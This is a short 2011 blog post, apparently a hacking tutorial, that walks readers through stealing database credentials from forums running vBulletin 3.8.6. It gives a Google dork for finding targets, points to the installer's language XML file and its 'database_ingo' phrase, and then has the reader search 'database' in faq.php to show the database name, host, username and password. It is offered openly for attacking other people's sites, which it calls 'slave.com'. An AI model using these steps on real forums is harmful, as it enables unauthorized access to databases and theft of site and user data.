Hacking vBulletin 3.8.6 !

Posted in Friday, 15 July 2011
by Saadi
0 comments

Hii..today i'm gonna show you a huge vBulletin's Bug in version 3.8.6... I know it's old..but are others people that still don't know it !

Okk..let's Start..

1.Search in google with this dork !

Code:
Powered By vBulletin 3.8.6

2.Go To :
Code:
http://www.slave.com/path/install/vbulletin-language.xml

3.Using Ctrl+F (find option) search for :
Code:
database_ingo

There in that phrase you will find something interesting Like This :
:yeye:
Code:
<phrase name="database_ingo" date="1271086009" username="Jelsoft" version="3.8.5">
Database Name: {$vbulletin->config['Database']['dbname']}<br />
Database Host: {$vbulletin->config['MasterServer']['servername']}<br />
Database Port: {$vbulletin->config['MasterServer']['port']}<br />
Database Username: {$vbulletin->config['MasterServer']['username']}<br />
Database Password: {$vbulletin->config['MasterServer']['password']}
</phrase>

And the information about these (Db Name , Db User, Db Pass , Host , Port) can be found in Faq.php

So let's go to FAQ [ http://www.slave.com/path/faq.php ]

And in the search box Type
Code:
database
and then click search ... !

You will get the results ! :thumbsup::pirate::yeye: